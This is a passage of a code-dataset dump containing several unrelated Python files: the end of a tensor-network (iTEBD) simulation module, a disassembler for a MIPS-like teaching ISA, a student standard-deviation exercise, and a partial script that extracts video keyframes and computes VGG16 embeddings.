config.chi,\n               config.gA, config.lA, config.gB, config.lB,\n               config.coefficient_values,\n               name, **config.tebd_args)\n\ndef overlap(gA0, lA0, gB0, lB0, gA1, lA1, gB1, lB1):\n    p, chi, _ = gA0.shape\n    ovf = imps2.overlap_func(p, chi)\n    return ovf(gA0=gA0, lA0=lA0, gB0=gB0, lB0=lB0,\n               gA1=gA1, lA1=lA1, gB1=gB1, lB1=lB1)\n\ndef transfer_matrix_evs(gA, lA, gB, lB):\n    from ..contract import NumpyTensorOperations as nptop\n    evs = imps2.transfer_matrix_evs(nptop, gA, lA, gB, lB)\n    #print(evs)\n    return evs\n\ndef simplot(simdata):\n    data = fileio.undump(simdata)\n    energies = np.array(data['energy'])\n    exactEnergy = data.get('exactEnergy', None)\n    exactLA = data.get('exactLA', None)\n    import matplotlib.pyplot as plt\n    if exactEnergy is None:\n       finalEnergy = energies[-1]\n    else:\n       finalEnergy=exactEnergy\n    if exactLA is None:\n        finalLA = data['lA'][-1]\n    else:\n        finalLA = exactLA\n    LAdiff = np.array([np.sqrt(np.dot(lA-finalLA,lA-finalLA)) for lA in data['lA']])\n    plt.semilogy(energies-finalEnergy, 'k.', label='exact energy' if exactEnergy else 'energy')\n    plt.semilogy(data['change'], 'b.', label='es change')\n    plt.semilogy(LAdiff, 'r.', label='es diff')\n    plt.semilogy(np.array(data['tau']), 'y.', label='tau')\n    plt.semilogy(np.array(data['error']), 'g.', label='error')\n    plt.hlines(1e-8, plt.xlim()[0],plt.xlim()[1], linestyles='dashed', colors='b')\n    plt.legend(loc=1)\n    plt.show()\n\ndef make_plots(name=None, included_results=None):\n    fidelity_vs_c = OrderedDict()\n    entanglement_spectra_vs_c = OrderedDict()\n    energy_vs_c = OrderedDict()\n    tm_evs_vs_c = OrderedDict()\n    ts = []\n\n    if included_results is None:\n        included_results = [int(fn[7:]) for fn in fileio.find_files(lambda x:('results' in x) and ('txt' not in x),\n                                                                    folder_name=name)]\n\n    for j in sorted(included_results): #sorted for fidelity calculations - overlap w/ previous\n        results = fileio.undump(name+'/results{}'.format(j))\n        c = results['c']\n        energy_vs_c[c] = [results ['E']]\n        entanglement_spectra_vs_c[c] = results['es']\n        print('diag tm for c={}'.format(c))\n        tm_evs_vs_c[c] = transfer_matrix_evs(results['gA'], results['lA'], results['gB'], results['lB'])\n        ts.append([results['gA'], results['lA'], results['gB'], results['lB']])\n        #print('computing fidelity for c={}'.format(c))\n        # if len(ts)>=2:\n        #     fidelity_vs_c[c] = (\n        #                         overlap(*ts[-1]+ts[0]), #overlap w gs\n        #                         overlap(*ts[-1]+ts[-2]) #overlap w prev\n        #                         )\n        #     print(np.abs(fidelity_vs_c[c]))\n        # else:\n        #     fidelity_vs_c[c] = (\n        #                         overlap(*ts[-1]+ts[0]), #overlap w gs\n        #                         1 #overlap w prev\n        #                         )\n        #     print(np.abs(fidelity_vs_c[c]))\n\n    print('making es plot')\n    entanglement_spec_plot(entanglement_spectra_vs_c, filename=name+'/es',\n                               title='Entanglement Spectra vs Lambda',\n                               xlabel = 'Perturbation',\n                               ylabel = '$-\\log_2(\\Lambda)$',\n                               ylim = (-0.1, 12))\n\n    print('making energy plot')\n    energy_spec_plot(energy_vs_c, filename=name+'/phy',\n                               title='Energy Spectra vs Lambda',\n                               xlabel = 'Perturbation',\n                               ylabel = 'Energy Eigenvalues')\n\n    # fidelity_plot(fidelity_vs_c, filename=name+'/fid',\n    #                    title='Fidelity',\n    #                    xlabel = 'Perturbation',\n    #                    ylabel = '1-Overlap')\n\n    print('making corr plot')\n    correlation_plot(tm_evs_vs_c, filename=name+'/corr',\n                     title='Correlation Length Spectrum',\n                     xlabel = 'Perturbation',\n                     ylabel = 'Inverse correlation length')\n\n    #TODO: variance calculations\n\n# def test_itebd(cylL=1, max_sv=100, num_steps = 1000, tau = 0.01):\n#     import numpy as np\n#     import matplotlib.pyplot as plt\n#     from ..states import fbi_hc as state\n#     from ..cylinder import site_tensor\n#     #from ..tools.npio import chop_complex\n#\n#     #initial tensors\n#     st = site_tensor.get_site_tensor(state, cylL).to_array()\n#     p, chi, _ = st.shape\n#     cf = imps.two_site_canonical_form_func(p, chi, max_sv)\n#     l = np.eye(chi)\n#     stack = ncon.stack(dict(a=st, b=l))\n#     G, L = imps.normalize_site_tensor(stack, 'a', 'b')\n#     G, L = stack.export([G, L])\n#     gA, lA, gB, lB = cf(gA=G, lA=L, gB=G, lB=L)\n#\n#     #hamiltonian\n#     import PEPS.ED.hcb_FBI as fbi\n#     currpath = fileio.os.getcwd()\n#     h = fbi.hardcore_fbi_h(L)\n#     h += np.identity(h.shape[0])\n#     # h will have minimum ev 0 and max w = unitcell*L\n#     # H will have max ev unitcell*L*W (W-1 open bc)\n#     fileio.os.chdir(currpath)\n#\n\n\n\n\n","sub_path":"SimplePEPS/mps/itebd.py","file_name":"itebd.py","file_ext":"py","file_size_in_byte":16560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"255299121","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport utils\n\nREG_DICT = {v:k for k,v in {\"%zero\" : 0, \"%at\" : 1,\\\n\t\t\"%v0\" : 2, \"%v1\" : 3,\\\n\t\t\"%a0\" : 4, \"%a1\" : 5, \"%a2\" : 6, \"%a3\" : 7,\\\n\t\t\"%t0\" : 8, \"%t1\" : 9, \"%t2\" : 10, \"%t3\" : 11, \"%t4\" : 12, \"%t5\" : 13, \"%t6\" : 14, \"%t7\" : 15,\\\n\t\t\"%s0\" : 16, \"%s1\" : 17, \"%s2\" : 18, \"%s3\" : 19, \"%s4\" : 20, \"%s5\" : 21, \"%s6\" : 22, \"%s7\" : 23,\\\n\t\t\"%t8\" : 24, \"%t9\" : 25,\\\n\t\t\"%k0\" : 26, \"%k1\" : 27,\\\n\t\t\"%gp\" : 28, \"%sp\" : 29, \"%fp\" : 30, \"%ra\" : 31}.items()}\n\nFREG_DICT = {v:k for k,v in {\n\t\t\"%f0\" : 0, \"%f1\" : 1, \"%f2\" : 2, \"%f3\" : 3, \"%f4\" : 4, \"%f5\" : 5, \"%f6\" : 6, \"%f7\" : 7, \n\t\t\"%f8\" : 8, \"%f9\" : 9, \"%f10\" : 10, \"%f11\" : 11, \"%f12\" : 12, \"%f13\" : 13, \"%f14\" : 14, \"%f15\" : 15, \n\t\t\"%f16\" : 16, \"%f17\" : 17, \"%f18\" : 18, \"%f19\" : 19, \"%f20\" : 20, \"%f21\" : 21, \"%f22\" : 22, \"%f23\" : 23, \n\t\t\"%f24\" : 24, \"%f25\" : 25, \"%f26\" : 26, \"%f27\" : 27, \"%f28\" : 28, \"%f29\" : 29, \"%f30\" : 30, \"%f31\" : 31 }.items()}\n\ndef r(reg):\n\treturn REG_DICT[reg]\n\ndef fr(reg):\n\treturn FREG_DICT[reg]\n\nclass Disassembler:\n\t\"\"\"\n\tA class representing for Carina ISA disassembler.\n\t\"\"\"\n\n\tdef disassember(self, inst):\n\t\treturn self.fetch_instruction(inst)\n\n\tdef fetch_instruction(self, inst):\n\t\tinst_bin = format(int(inst, 16), '032b')\n\t\toperation_bin = inst_bin[0:6]\n\t\tfunct_bin = inst_bin[26:]\n\t\tfpuop_bin = inst_bin[0:11]\n\t\tfbranch_bin = inst_bin[0:16]\n\t\tif(operation_bin == \"000000\" and funct_bin == \"100000\"):\n\t\t\treturn Disassembler.add(self, inst_bin)\n\t\telif(operation_bin == \"001000\"):\n\t\t\treturn Disassembler.addi(self, inst_bin)\n\t\telif(operation_bin == \"000000\" and funct_bin == \"100100\"):\n\t\t\treturn Disassembler.and_(self, inst_bin)\n\t\telif(operation_bin == \"001100\"):\n\t\t\treturn Disassembler.andi(self, inst_bin)\n\t\telif(operation_bin == \"000100\"):\n\t\t\treturn Disassembler.beq(self, inst_bin)\n\t\telif(operation_bin == \"000101\"):\n\t\t\treturn Disassembler.bne(self, inst_bin)\n\t\telif(operation_bin == \"000010\"):\n\t\t\treturn Disassembler.j(self, inst_bin)\n\t\telif(operation_bin == \"000011\"):\n\t\t\treturn Disassembler.jal(self, inst_bin)\n\t\telif(operation_bin == \"000000\" and funct_bin == \"001000\"):\n\t\t\treturn Disassembler.jr(self, inst_bin)\n\t\telif(operation_bin == \"000000\" and funct_bin == \"001001\"):\n\t\t\treturn Disassembler.jral(self, inst_bin)\n\t\telif(operation_bin == \"100011\"):\n\t\t\treturn Disassembler.lw(self, inst_bin)\n\t\telif(operation_bin == \"000000\" and funct_bin == \"100111\"):\n\t\t\treturn Disassembler.nor(self, inst_bin)\n\t\telif(operation_bin == \"000000\" and funct_bin == \"100101\"):\n\t\t\treturn Disassembler.or_(self, inst_bin)\n\t\telif(operation_bin == \"001101\"):\n\t\t\treturn Disassembler.ori(self, inst_bin)\n\t\telif(operation_bin == \"000000\" and funct_bin == \"101010\"):\n\t\t\treturn Disassembler.slt(self, inst_bin)\n\t\telif(operation_bin == \"001010\"):\n\t\t\treturn Disassembler.slti(self, inst_bin)\n\t\telif(operation_bin == \"000000\" and funct_bin == \"000000\"):\n\t\t\treturn Disassembler.sll(self, inst_bin)\n\t\telif(operation_bin == \"000000\" and funct_bin == \"000010\"):\n\t\t\treturn Disassembler.srl(self, inst_bin)\n\t\telif(operation_bin == \"101011\"):\n\t\t\treturn Disassembler.sw(self, inst_bin)\n\t\telif(operation_bin == \"000000\" and funct_bin == \"100010\"):\n\t\t\treturn Disassembler.sub(self, inst_bin)\n\t\telif(operation_bin == \"111111\" and funct_bin == \"111111\"):\n\t\t\treturn Disassembler.hlt(self, inst_bin)\n\t\telif(fbranch_bin == \"0100010100000001\"):\n\t\t\treturn Disassembler.bclt(self, inst_bin)\n\t\telif(fbranch_bin == \"0100010100000000\"):\n\t\t\treturn Disassembler.bclf(self, inst_bin)\n\t\telif(operation_bin == \"000000\" and funct_bin == \"011000\"):\n\t\t\treturn Disassembler.mult(self, inst_bin)\n\t\telif(operation_bin == \"000000\" and funct_bin == \"011010\"):\n\t\t\treturn Disassembler.div(self, inst_bin)\n\t\telif(fpuop_bin == \"01000110000\" and funct_bin == \"000000\"):\n\t\t\treturn Disassembler.fadd(self, inst_bin)\n\t\telif(fpuop_bin == \"01000110000\" and funct_bin == \"000001\"):\n\t\t\treturn Disassembler.fsub(self, inst_bin)\n\t\telif(fpuop_bin == \"01000110000\" and funct_bin == \"000010\"):\n\t\t\treturn Disassembler.fmul(self, inst_bin)\n\t\telif(fpuop_bin == \"01000110000\" and funct_bin == \"000011\"):\n\t\t\treturn Disassembler.finv(self, inst_bin)\n\t\telif(operation_bin == \"110001\"):\n\t\t\treturn Disassembler.flw(self, inst_bin)\n\t\telif(operation_bin == \"111001\"):\n\t\t\treturn Disassembler.fsw(self, inst_bin)\n\t\telif(fpuop_bin == \"01000110000\"):\n\t\t\treturn Disassembler.fcmp(self, inst_bin)\n\t\telif(operation_bin == \"011010\"):\n\t\t\treturn Disassembler.in_(self, inst_bin)\n\t\telif(operation_bin == \"011011\"):\n\t\t\treturn Disassembler.out(self, inst_bin)\n\t\telse:\n\t\t\traise ValueError(\"no match with any instruction for bytecode `{}`\".format(inst_bin))\n\n\t@staticmethod\n\tdef decode_R(inst_bin):\n\t\trs = int(inst_bin[6:11], 2)\n\t\trt = int(inst_bin[11:16], 2)\n\t\trd = int(inst_bin[16:21], 2)\n\t\tshamt = utils.bin2int(inst_bin[21:26])\n\t\treturn rs, rt, rd, shamt\n\n\t@staticmethod\n\tdef decode_I(inst_bin):\n\t\trs = int(inst_bin[6:11], 2)\n\t\trt = int(inst_bin[11:16], 2)\n\t\timm = utils.bin2int(inst_bin[16:])\n\t\treturn rs, rt, imm\n\n\t@staticmethod\n\tdef decode_FR(inst_bin):\n\t\tft = int(inst_bin[11:16], 2)\n\t\tfs = int(inst_bin[16:21], 2)\n\t\tfd = int(inst_bin[21:26], 2)\n\t\treturn ft, fs, fd\n\n\t@staticmethod\n\tdef decode_FI(inst_bin):\n\t\tfs = int(inst_bin[11:16], 2)\n\t\timm = utils.bin2int(inst_bin[16:])\n\t\treturn fs, imm\n\n\t@classmethod\n\tdef add(cls, sim, inst_bin):\n\t\trs, rt, rd, _ = cls.decode_R(inst_bin)\n\t\treturn \"add     {}, {}, {}\".format(r(rd), r(rs), r(rt))\n\n\t@classmethod\n\tdef addi(cls, sim, inst_bin):\n\t\trs, rt, imm = cls.decode_I(inst_bin)\n\t\treturn \"addi    {}, {}, ${}\".format(r(rt), r(rs), imm)\n\n\t@classmethod\n\tdef and_(cls, sim, inst_bin):\n\t\trs, rt, rd, _ = cls.decode_R(inst_bin)\n\t\treturn \"and     {}, {}, {}\".format(r(rd), r(rs), r(rt))\n\n\t@classmethod\n\tdef andi(cls, sim, inst_bin):\n\t\trs, rt, imm = cls.decode_I(inst_bin)\n\t\treturn \"andi    {}, {}, ${}\".format(r(rt), r(rs), imm)\n\n\t@classmethod\n\tdef beq(cls, sim, inst_bin):\n\t\trs, rt, imm = cls.decode_I(inst_bin)\n\t\treturn \"beq     {}, {}, ${}\".format(r(rt), r(rs), imm)\n\n\t@classmethod\n\tdef bne(cls, sim, inst_bin):\n\t\trs, rt, imm = cls.decode_I(inst_bin)\n\t\treturn \"bne     {}, {}, ${}\".format(r(rt), r(rs), imm)\n\n\t@staticmethod\n\tdef j(sim, inst_bin):\n\t\timm = inst_bin[6:]\n\t\treturn \"j       {}\".format(utils.bin2int(imm))\n\n\t@staticmethod\n\tdef jal(sim, inst_bin):\n\t\timm = inst_bin[6:]\n\t\treturn \"jal     {}\".format(utils.bin2int(imm))\n\n\t@staticmethod\n\tdef jr(sim, inst_bin):\n\t\trs = int(inst_bin[6:11], 2)\n\t\treturn \"jr      {}\".format(r(rs))\n\n\t@staticmethod\n\tdef jral(sim, inst_bin):\n\t\trs = int(inst_bin[6:11], 2)\n\t\treturn \"jral    {}\".format(r(rs))\n\n\t@classmethod\n\tdef lw(cls, sim, inst_bin):\n\t\trs, rt, imm = cls.decode_I(inst_bin)\n\t\treturn \"lw      {}, {}({})\".format(r(rt), imm, r(rs))\n\n\t@classmethod\n\tdef nor(cls, sim, inst_bin):\n\t\trs, rt, rd, _ = cls.decode_R(inst_bin)\n\t\treturn \"nor     {}, {}, {}\".format(r(rd), r(rs), r(rt))\n\n\t@classmethod\n\tdef or_(cls, sim, inst_bin):\n\t\trs, rt, rd, _ = cls.decode_R(inst_bin)\n\t\treturn \"or      {}, {}, {}\".format(r(rd), r(rs), r(rt))\n\n\t@classmethod\n\tdef ori(cls, sim, inst_bin):\n\t\trs, rt, imm = cls.decode_I(inst_bin)\n\t\treturn \"ori     {}, {}, ${}\".format(r(rt), r(rs), imm)\n\n\t@classmethod\n\tdef slt(cls, sim, inst_bin):\n\t\trs, rt, rd, _ = cls.decode_R(inst_bin)\n\t\treturn \"slt     {}, {}, {}\".format(r(rd), r(rs), r(rt))\n\n\t@classmethod\n\tdef slti(cls, sim, inst_bin):\n\t\trs, rt, imm = cls.decode_I(inst_bin)\n\t\treturn \"slti    {}, {}, ${}\".format(r(rt), r(rs), imm)\n\n\t@classmethod\n\tdef sll(cls, sim, inst_bin):\n\t\trs, _, rd, shamt_bin = cls.decode_R(inst_bin)\n\t\treturn \"sll     {}, {}, ${}\".format(r(rd), r(rs), shamt_bin)\n\n\t@classmethod\n\tdef srl(cls, sim, inst_bin):\n\t\trs, _, rd, shamt_bin = cls.decode_R(inst_bin)\n\t\treturn \"srl     {}, {}, ${}\".format(r(rd), r(rs), shamt_bin)\n\n\t@classmethod\n\tdef sw(cls, sim, inst_bin):\n\t\trs, rt, imm = cls.decode_I(inst_bin)\n\t\treturn \"sw      {}, {}({})\".format(r(rt), imm, r(rs))\n\n\t@classmethod\n\tdef sub(cls, sim, inst_bin):\n\t\trs, rt, rd, _ = cls.decode_R(inst_bin)\n\t\treturn \"sub     {}, {}, {}\".format(r(rd), r(rs), r(rt))\n\n\t@staticmethod\n\tdef hlt(sim, inst_bin):\n\t\treturn \"hlt\"\n\n\t@classmethod\n\tdef bclt(cls, sim, inst_bin):\n\t\t_, imm = cls.decode_FI(inst_bin)\n\t\treturn \"bclt    {}\".format(imm)\n\n\t@classmethod\n\tdef bclf(cls, sim, inst_bin):\n\t\t_, imm = cls.decode_FI(inst_bin)\n\t\treturn \"bclt    {}\".format(imm)\n\n\t@classmethod\n\tdef mult(cls, sim, inst_bin):\n\t\trs, rt, rd, _ = cls.decode_R(inst_bin)\n\t\treturn \"mult    {}, {}, {}\".format(r(rd), r(rs), r(rt))\n\n\t@classmethod\n\tdef div(cls, sim, inst_bin):\n\t\trs, rt, rd, _ = cls.decode_R(inst_bin)\n\t\treturn \"div     {}, {}, {}\".format(r(rd), r(rs), r(rt))\n\n\t@classmethod\n\tdef fadd(cls, sim, inst_bin):\n\t\tft, fs, fd = cls.decode_FR(inst_bin)\n\t\treturn \"fadd    {}, {}, {}\".format(fr(fd), fr(fs), fr(ft))\n\n\t@classmethod\n\tdef fsub(cls, sim, inst_bin):\n\t\tft, fs, fd = cls.decode_FR(inst_bin)\n\t\treturn \"fsub    {}, {}, {}\".format(fr(fd), fr(fs), fr(ft))\n\n\t@classmethod\n\tdef fmul(cls, sim, inst_bin):\n\t\tft, fs, fd = cls.decode_FR(inst_bin)\n\t\treturn \"fmul    {}, {}, {}\".format(fr(fd), fr(fs), fr(ft))\n\n\t@classmethod\n\tdef finv(cls, sim, inst_bin):\n\t\tft, _, fd = cls.decode_FR(inst_bin)\n\t\treturn \"finv    {}, {}\".format(fr(fd), fr(ft))\n\n\t@classmethod\n\tdef flw(cls, sim, inst_bin):\n\t\trs, ft, imm = cls.decode_I(inst_bin)\n\t\treturn \"lw.s    {}, {}({})\".format(fr(ft), imm, fr(rs))\n\n\t@classmethod\n\tdef fsw(cls, sim, inst_bin):\n\t\trs, ft, imm = cls.decode_I(inst_bin)\n\t\treturn \"sw.s    {}, {}({})\".format(fr(ft), imm, r(rs))\n\n\t@classmethod\n\tdef fcmp(cls, sim, inst_bin):\n\t\tft, fs, _ = cls.decode_FR(inst_bin)\n\t\top = inst_bin[26:32]\n\t\tif op == \"110010\":    # eq\n\t\t\treturn \"c.eq.s  {}, {}\".format(fr(ft), fr(fs))\n\t\telif op == \"111100\":  # lt\n\t\t\treturn \"c.lt.s  {}, {}\".format(fr(ft), fr(fs))\n\t\telif op == \"111110\":  # le\n\t\t\treturn \"c.le.s  {}, {}\".format(fr(ft), fr(fs))\n\n\t@classmethod\n\tdef in_(cls, sim, inst_bin):\n\t\t_, rs, _, _ = cls.decode_R(inst_bin)\n\t\treturn \"in      {}\".format(r(rs))\n\n\t@classmethod\n\tdef out(cls, sim, inst_bin):\n\t\t_, rs, _, _ = cls.decode_R(inst_bin)\n\t\treturn \"out     {}\".format(r(rs))\n","sub_path":"python/disassembler.py","file_name":"disassembler.py","file_ext":"py","file_size_in_byte":9969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"324280404","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\nimport math\n\n#comece abaixo\nn=input('digite a quantidade de termos:')\na=[]\ns=0\nfor i in range(0,n,1):\n    a.append(input('digite a nota:'))\n    s=s+a[i]\nm=s/n\n\nz=0\nfor i in range(0,n,1):\n    z=z+(a[i]-m)**2\n    \ny=((1/(n-1))*z)**0.5\nprint('%.2f'%a[0])\nprint('%.2f'%a[n-1])\nprint('%.2f'%m)\nprint('%.2f'%y)\n","sub_path":"moodledata/vpl_data/44/usersdata/132/14811/submittedfiles/desvpad.py","file_name":"desvpad.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"68815577","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport socket\n\nimport cv2\nimport shutil\nimport time\nimport re\nimport operator  # 内置操作符函数接口（后面排序用到）\nimport numpy as np\nimport pandas as pd\nimport pymysql\nimport matplotlib.pyplot as plt\nfrom numpy import linalg as LA\nfrom urllib.request import urlretrieve\nfrom scipy.signal import argrelextrema  # 极值点\nfrom tensorflow.keras.preprocessing import image\nfrom tensorflow.keras.applications.vgg16 import VGG16\nfrom tensorflow.keras.applications.vgg16 import preprocess_input as preprocess_input_vgg\n\n\ndef rate_of_progress(a, b, c):\n    # urlretrieve()的回调函数，显示当前的下载进度\n    # a为已经下载的数据块, b为数据块大小, c为远程文件的大小\n    if not a:\n        # print(\"连接打开\")\n        pass\n    if c < 0:\n        print(\"要下载的文件大小为0\")\n    else:\n        per = 100 * a * b / c\n        if per > 100:\n            per = 100\n        # print(\"\\r去吧!皮卡丘... %s%s%.f%s\" % ('=' * int(per), '> ', per, '%'), flush=True, end='')\n\n    if per >= 100:\n        return True\n\n\ndef get_video_from_url(url, video_path):\n    \"\"\"\n    从链接中获取视频\n    解决urlretrieve下载文件不完全的问题且避免下载时长过长陷入死循环\n\n    \"\"\"\n    urlretrieve(url, video_path)\n    # # socket.setdefaulttimeout(3)  # 设置超时时间为30s\n    # try:\n    #     urlretrieve(url, video_path, rate_of_progress)\n    # except socket.timeout:\n    #     count = 1\n    #     while count <= 2:\n    #         try:\n    #             urlretrieve(url, video_path, rate_of_progress)\n    #             break\n    #         except socket.timeout:\n    #             err_info = 'Reloading for %d time' % count if count == 1 else 'Reloading for %d times' % count\n    #             print(err_info)\n    #             count += 1\n    #     if count > 2:\n    #         print(\"下载失败\")\n\n\ndef delete_old_file():\n    \"\"\"\n    删除历史无用数据\n    \"\"\"\n    t_now = str(time.time()).split(\".\")[0]\n    if int(t_now) % 200 == 111:\n        time.sleep(20)\n        base_path = \"/root/video_embedding/src/\"\n        for name in os.listdir(base_path):\n            if name.startswith(\"video_\") or name.startswith(\"image_\"):\n                if re.compile(r\".*[0-9]$\").match(name):\n                    shutil.rmtree(name)  # 删除文件夹和其中的文件\n\n\ndef extract_frames_from_video_simpleness(video_path, img_path, frame_frequency=25):\n    \"\"\"\n    简单的提取视频中的帧\n    video_path 视频的完全路劲\n    img_path   存储图片的文件夹路劲\n    frame_frequency  提取视频的频率，默认每25帧提取一个\n    \"\"\"\n    times = 0\n    camera = cv2.VideoCapture(video_path)\n    while True:\n        times += 1\n        res, image = camera.read()\n        if not res:\n            break\n        if times % frame_frequency == 0:\n            cv2.imwrite(img_path + str(times) + '.jpg', image)\n    camera.release()\n\n\nclass Frame:\n    \"\"\"\n    class to hold information about each frame\n    用于保存有关每个帧的信息\n    \"\"\"\n\n    def __init__(self, id, diff):\n        self.id = id\n        self.diff = diff\n\n    def __lt__(self, other):\n        if self.id == other.id:\n            return self.id < other.id\n        return self.id < other.id\n\n    def __gt__(self, other):\n        return other.__lt__(self)\n\n    def __eq__(self, other):\n        return self.id == other.id and self.id == other.id\n\n    def __ne__(self, other):\n        return not self.__eq__(other)\n\n\ndef extract_effective_frame_from_video(video_path, img_path):\n    \"\"\"\n    从视频中抽取关键帧\n    video_path 视频的完全路劲\n    img_path   存储图片的文件夹路劲\n    \"\"\"\n\n    def rel_change(self, a, b):\n        x = (b - a) / max(a, b)\n        # print(x)\n        return x\n\n    def smooth(x, window_len=13, window='hanning'):\n        \"\"\"\n        使用具有所需大小的窗口使数据平滑。\n\n        This method is based on the convolution of a scaled window with the signal.\n        The signal is prepared by introducing reflected copies of the signal\n        (with the window size) in both ends so that transient parts are minimized\n        in the begining and end part of the output signal.\n        该方法是基于一个标度窗口与信号的卷积。\n        通过在两端引入信号的反射副本(具有窗口大小)来准备信号，\n        使得在输出信号的开始和结束部分���将瞬态部分最小化。\n        input:\n            x: the input signal输入信号\n            window_len: the dimension of the smoothing window平滑窗口的尺寸\n            window: the type of window from 'flat', 'hanning', 'hamming', 'bartlett', 'blackman'\n                flat window will produce a moving average smoothing.\n                平坦的窗口将产生移动平均平滑\n        output:\n            the smoothed signal平滑信号\n\n        example:\n        import numpy as np\n        t = np.linspace(-2,2,0.1)\n        x = np.sin(t)+np.random.randn(len(t))*0.1\n        y = smooth(x)\n\n        see also:\n\n        numpy.hanning, numpy.hamming, numpy.bartlett, numpy.blackman, numpy.convolve\n        scipy.signal.lfilter\n\n        TODO: 如果使用数组而不是字符串，则window参数可能是窗口本身\n        \"\"\"\n        # print(len(x), window_len)\n        # if x.ndim != 1:\n        #     raise ValueError, \"smooth only accepts 1 dimension arrays.\"\n        # 提高ValueError，“平滑仅接受一维数组。”\n        # if x.size < window_len:\n        #     raise ValueError, \"Input vector needs to be bigger than window size.\"\n        # 提高ValueError，“输入向量必须大于窗口大小。”\n        # if window_len < 3:\n        #     return x\n        #\n        # if not window in ['flat', 'hanning', 'hamming', 'bartlett', 'blackman']:\n        #     raise ValueError, \"Window is on of 'flat', 'hanning', 'hamming', 'bartlett', 'blackman'\"\n\n        s = np.r_[2 * x[0] - x[window_len:1:-1],\n                  x, 2 * x[-1] - x[-1:-window_len:-1]]\n        # print(len(s))\n\n        if window == 'flat':  # moving average平移\n            w = np.ones(window_len, 'd')\n        else:\n            w = getattr(np, window)(window_len)\n        y = np.convolve(w / w.sum(), s, mode='same')\n        return y[window_len - 1:-window_len + 1]\n\n    # 如果文件目录不存在则创建目录\n    # if not os.path.exists(img_path):\n    #     os.makedirs(img_path)\n    (filepath, temp_filename) = os.path.split(video_path)  # 分离路径和文件名\n    (filename, extension) = os.path.splitext(temp_filename)  # 区分文件的名字和后缀\n\n    THRESH = 0.6  # fixed threshold value 固定阈值\n    USE_THRESH = False  # Setting fixed threshold criteria 设置固定阈值标准\n    USE_TOP_ORDER = False  # Setting fixed threshold criteria 设置固定阈值标准\n    USE_LOCAL_MAXIMA = True  # Setting local maxima criteria 设置局部最大值标准\n    NUM_TOP_FRAMES = 30  # Number of top sorted frames 排名最高的帧数\n    len_window = int(30)  # smoothing window size 平滑窗口大小\n\n    curr_frame = None\n    prev_frame = None\n    frame_diffs = []\n    frames = []\n    cap = cv2.VideoCapture(str(video_path))\n    success, frame = cap.read()\n    i = 0\n    while success:\n        luv = cv2.cvtColor(frame, cv2.COLOR_BGR2LUV)\n        curr_frame = luv\n        if curr_frame is not None and prev_frame is not None:\n            # logic here\n            diff = cv2.absdiff(curr_frame, prev_frame)  # 获取差分图\n            diff_sum = np.sum(diff)\n            diff_sum_mean = diff_sum / (diff.shape[0] * diff.shape[1])  # 平均帧\n            frame_diffs.append(diff_sum_mean)\n            frame = Frame(i, diff_sum_mean)\n            frames.append(frame)\n        prev_frame = curr_frame\n        i = i + 1\n        success, frame = cap.read()\n    cap.release()\n\n    # compute keyframe\n    keyframe_id_set = set()\n    if USE_TOP_ORDER:\n        # sort the list in descending order以降序对列表进行排序\n        frames.sort(key=operator.attrgetter(\"diff\"), reverse=True)  # 排序operator.attrgetter\n        for keyframe in frames[:NUM_TOP_FRAMES]:\n            keyframe_id_set.add(keyframe.id)\n    if USE_THRESH:\n        print(\"Using Threshold\")  # 使用阈值\n        for i in range(1, len(frames)):\n            value_ = rel_change(np.float(frames[i - 1].diff), np.float(frames[i].diff))\n            if value_ >= THRESH:\n                keyframe_id_set.add(frames[i].id)\n    if USE_LOCAL_MAXIMA:\n        # print(\"Using Local Maxima\")  # 使用局部极大值\n        diff_array = np.array(frame_diffs)\n        sm_diff_array = smooth(diff_array, len_window)  # 平滑\n        frame_indexes = np.asarray(argrelextrema(sm_diff_array, np.greater))[0]  # 找极值\n        for i in frame_indexes:\n            keyframe_id_set.add(frames[i - 1].id)  # 记录极值帧数\n        plt.figure(figsize=(40, 20))\n        plt.locator_params(\"x\", nbins=100)\n        # stem 绘制离散函数，polt是连续函数\n        plt.stem(sm_diff_array, linefmt='-', markerfmt='o', basefmt='--', label='sm_diff_array')\n        plt.savefig(img_path + filename + '_plot.png')\n\n    # save all keyframes as image将所有关键帧另存为图像\n    cap = cv2.VideoCapture(str(video_path))\n    curr_frame = None\n    keyframes = []\n    success, frame = cap.read()\n    idx = 0\n    while success:\n        if idx in keyframe_id_set:\n            name = filename + '_' + str(idx) + \".jpg\"\n            cv2.imwrite(img_path + name, frame)\n            keyframe_id_set.remove(idx)\n        idx = idx + 1\n        success, frame = cap.read()\n    cap.release()\n\n\ndef extract_vec_from_image(img_path):\n    # 模型需要放在class类之外，不然会一直在创建对象，导致内存占用不断提高\n    input_shape = (224, 224, 3)\n    weight = 'imagenet'\n    pooling = 'max'\n    mode_vgg = VGG16(weights=weight,\n                     input_shape=(input_shape[0], input_shape[1], input_shape[2]),\n                     pooling=pooling,\n                     include_top=False)\n    image_feat_list = []\n    i_k = 0\n    for name in os.listdir(img_path):\n        if name.endswith(\"jpg\"):\n            i_k += 1\n            if i_k >= 6:  # 最多取三十张图片\n                break\n            img = image.load_img(img_path + name, target_size=(input_shape[0], input_shape[1]))\n            img = image.img_to_array(img)\n            img = np.expand_dims(img, axis=0)\n            img = preprocess_input_vgg(img)\n            feat = mode_vgg.predict(img)\n            norm_feat = feat[0] / LA.norm(feat[0])\n            norm_feat = [i.item() for i in norm_feat]\n            image_feat_list.append(norm_feat)\n    video_vec = np.array(image_feat_list).mean(axis=0).tolist()\n\n    return video_vec\n\n\nclass ExtractVecFromVideo(object):\n    def __init__(self):\n        pass\n\n    @staticmethod\n    def extract_vec_from_video_url(url):\n        # 删除无用文件\n        delete_old_file()\n        # 从链接中获取视频文件\n        t_now = str(time.time()).split(\".\")[0]\n        flag = url.split(\"/\")[-1].split(\".\")[0] + \"_\" + t_now\n        video_path_dir = \"video_\" + flag + \"/\"\n        video_path = video_path_dir + \"tmp.\" + url.split(\".\")[-1]\n        if not os.path.exists(video_path_dir):  # 如果文件目录不存在则创建目录\n            os.makedirs(video_path_dir)\n        # print(\"get_video_from_url\")\n        get_video_from_url(url, video_path)\n        # # 从视频文件中抽帧\n        img_path = 